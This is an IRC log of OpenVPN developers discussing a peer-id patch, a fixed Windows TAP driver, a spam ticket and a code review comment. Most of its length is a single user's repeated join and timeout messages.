has joined #openvpn-devel 04:48 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 265 seconds] 04:53 < lev__> Ok, fix seems to be is to use decryption key from tls_multi, which can be obtained in a same way as it is done in tls_pre_decrypt 05:12 <@cron2> lev__: can you send an updated patch? (and please note in the commit text what changed between v2 -> v3, so for those that have already skimmed a previous version it's easier to see what is new here) 05:12 <@cron2> mattock: could you remind James to review the peer-id patch? (asked that yesterday, but you ran away 6 minutes before that) 05:25 <@vpnHelper> RSS Update - tickets: #475: OpenVPN 2.3.5 - few issues. Serious TAP adapter problems mostly. <https://community.openvpn.net/openvpn/ticket/475> 05:27 -!- puskin_afk [~puskin_af@162.248.167.201] has joined #openvpn-devel 05:31 <@syzzer> mattock: just to confirm, the new tap6-driver fixes the issue for me too. And just replacing the driver worked like a charm. 05:32 <@cron2> cool 05:47 <@d12fk> what does the new driver fix exactly? does it come up in windows 8 reliably now? 06:09 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 06:09 < puskin> !exit 06:09 < puskin_afk> Ai Tuoi Ordini Capo !! ;) 06:09 -!- puskin_afk [~puskin_af@162.248.167.201] has quit [Quit: Ciao a tutti :)] 06:20 <@syzzer> d12fk: yes, seems that way 06:21 <@syzzer> and wrt the old tap6-driver (9.21.0), this one (9.21.1) does not hang on disconnect anymore 06:55 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:04 -!- puskin [~puskin@95.234.58.154] has quit [Quit: Leaving...] 07:07 -!- puskin [~puskin@95.234.58.154] has joined #openvpn-devel 07:07 -!- puskin [~puskin@95.234.58.154] has quit [Client Quit] 07:08 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 08:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 08:36 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:18 -!- dazo is now known as dazo_afk 09:18 < lev__> cron: yep, hopefully tomorrow if fix proves to be working and I won't find other issues 09:38 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 260 seconds] 10:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 10:14 <@cron2> lev__: thanks (I'm in london all week anyway, but James might want to look before next weekend) 10:31 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 10:36 <@plaisthos> lev__: the fix is server side, right? 10:37 <@plaisthos> lev__: otherwise I will with the full rollout of the new version 10:37 <@cron2> sounded server side, yes 10:40 < lev__> plaisthos, cron2: yep, server side. Here is it btw: https://github.com/stipa/openvpn/commit/171e09d3836f33e06cae7bf298d8ff374b73ad41#diff-0320ba89510ea00217eb6c8ba952a1e8R131, but I'll test it during the night with few devices before posting 10:40 <@vpnHelper> Title: Peer-id patch v3 · 171e09d · stipa/openvpn · GitHub (at github.com) 11:11 <@cron2> thanks 11:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:46 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 255 seconds] 14:14 -!- mattock is now known as mattock_afk 15:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 15:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:23 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:23 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:28 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 15:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:33 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 15:34 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 15:34 < tbenson> Would this be an appropriate channel for OpenVPN Access Server questions, or would that only be #openvpnas ? 15:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 15:45 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 15:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 15:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 16:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:03 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 16:06 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 16:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:11 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 16:23 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 16:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 16:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:34 <@syzzer> tbenson: no, this is the community development channel, go to #openvpn-as for question regarding AS 16:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 16:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:42 <@syzzer> btw, anyone willing to review my sample cert update? Committing that ticket would close #400 :) 16:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:48 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 16:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 16:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 17:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 17:16 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 17:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 17:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 17:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 17:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:52 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:55 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 17:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 17:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:03 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:04 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:09 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 18:14 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 18:19 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:24 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:30 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:34 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 18:35 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:40 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 18:41 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:45 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 18:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 18:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 19:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:06 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 19:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:13 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 19:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 19:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 19:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 19:32 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 19:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 19:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 19:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 19:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 20:03 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:13 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 20:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 20:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:19 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:24 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 20:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 20:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 20:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 21:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 21:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 21:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 21:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:22 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 21:23 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 21:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 21:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 21:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 21:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:48 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 21:49 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:54 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 21:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 21:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 22:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 22:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 22:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 22:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 22:25 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:27 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 22:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 22:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 22:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:45 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:46 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:47 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 22:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 22:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 23:03 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 23:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 23:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 23:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 23:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:25 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 23:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:30 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 23:30 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:31 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 23:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 23:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 23:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 23:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 23:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 23:54 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] --- Day changed Fri Nov 07 2014 00:00 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 00:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 00:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 00:16 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 00:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 00:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 00:28 -!- mattock_afk is now known as mattock 00:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 00:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 01:10 -!- mattock is now known as mattock_afk 01:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:20 -!- mattock_afk is now known as mattock 01:20 <@mattock> it seems tap-windows-9.21.1 really fixes things 01:21 <@mattock> I can probably push out new windows installers today 01:32 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 02:06 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 02:27 <@syzzer> mattock: cool, that will probably keep a few people from ranting at openvpn/computers in general ;) 02:27 <@mattock> yes :) 02:33 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 264 seconds] 03:01 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has joined #openvpn-devel 03:12 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 03:14 <@vpnHelper> RSS Update - tickets: #476: Get Rapid Fat Loss With Lipo 13 <https://community.openvpn.net/openvpn/ticket/476> 03:15 < puskin> ahaha spam in tickets? 03:16 < puskin> this sounds new 03:16 <@cron2> yes, assholes 03:17 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 03:21 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has quit [Quit: Leaving...] 03:38 <@mattock> I wonder if we could delete the contents of the spam tickets and erase the old (spam) revision 03:38 <@mattock> because just closing the ticket still leaves the spam message floating around 03:44 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 03:46 <@mattock> disabled the spammer's user account 03:48 <@cron2> mattock; yep, destroy it 03:49 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 03:49 <@mattock> I removed the description, but Trac probably has the old version stored somewhere 03:49 <@mattock> not sure if it's in the database 03:49 <@mattock> or internal SVN or something 03:51 <@cron2> syzzer: I lost track of the original patch - your fix is for 2.3 as well, isn't it? 03:52 <@cron2> there is one chunk in there that doesn't ring true 03:52 <@cron2> -int cipher_kt_mode (const cipher_kt_t *cipher_kt); 03:52 <@cron2> +int cipher_kt_mode (const cipher_kt_t *cipher); 03:52 <@cron2> ... the actual *.c files still call it "cipher_kt" for cipher_ht_mode(), if I'm reading that right 03:53 <@cron2> not that C cares, but since you're changing it... 04:12 -!- dazo_afk is now known as dazo 04:13 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:21 -!- puskin_afk [~puskin_af@162.248.167.201] has joined #openvpn-devel 05:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:11 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 05:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 05:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:23 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 05:23 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:24 -!- puskin_afk [~puskin_af@162.248.167.201] has quit [Remote host closed the connection] 05:28 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 05:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 05:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 05:40 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 05:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 05:52 < lev__> Hello, an update on peer-id. The bug I've mentioned before (missing decrypt key) seems to be fixed, however I found an another one - after several hours of floats and TLS renegotiations server quits on assert (https://github.com/stipa/openvpn/blob/peer-id/src/openvpn/multi.c#L545) 05:52 <@vpnHelper> Title: openvpn/multi.c at peer-id · stipa/openvpn · GitHub (at github.com) 05:55 < lev__> I suspect that I'm doing something wrong in updating multi_instance structs (https://github.com/stipa/openvpn/blob/peer-id/src/openvpn/mudp.c#L45). Will continue investigating and fixing it. 05:55 <@vpnHelper> Title: openvpn/mudp.c at peer-id · stipa/openvpn · GitHub (at github.com) 05:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:57 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 06:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 06:00 <@plaisthos> lev__: meanwhile I push out the new version of my app 06:00 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:00 <@plaisthos> it is now at 10% 06:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 06:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:07 < lev__> plaisthos: That's a good enough motivation for me to fix that assert issue! 06:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 06:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:16 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 06:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 06:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:23 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:27 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 06:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 06:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:37 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 06:38 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:40 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has joined #openvpn-devel 06:41 -!- puskin [~puskin@host17-19-dynamic.56-82-r.retail.telecomitalia.it] has quit [Client Quit] 06:42 -!- puskin_afk [~puskin_af@162.248.167.201] has joined #openvpn-devel 06:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 06:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 06:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 06:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 07:00 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 07:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 07:11 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:15 -!- moveax3 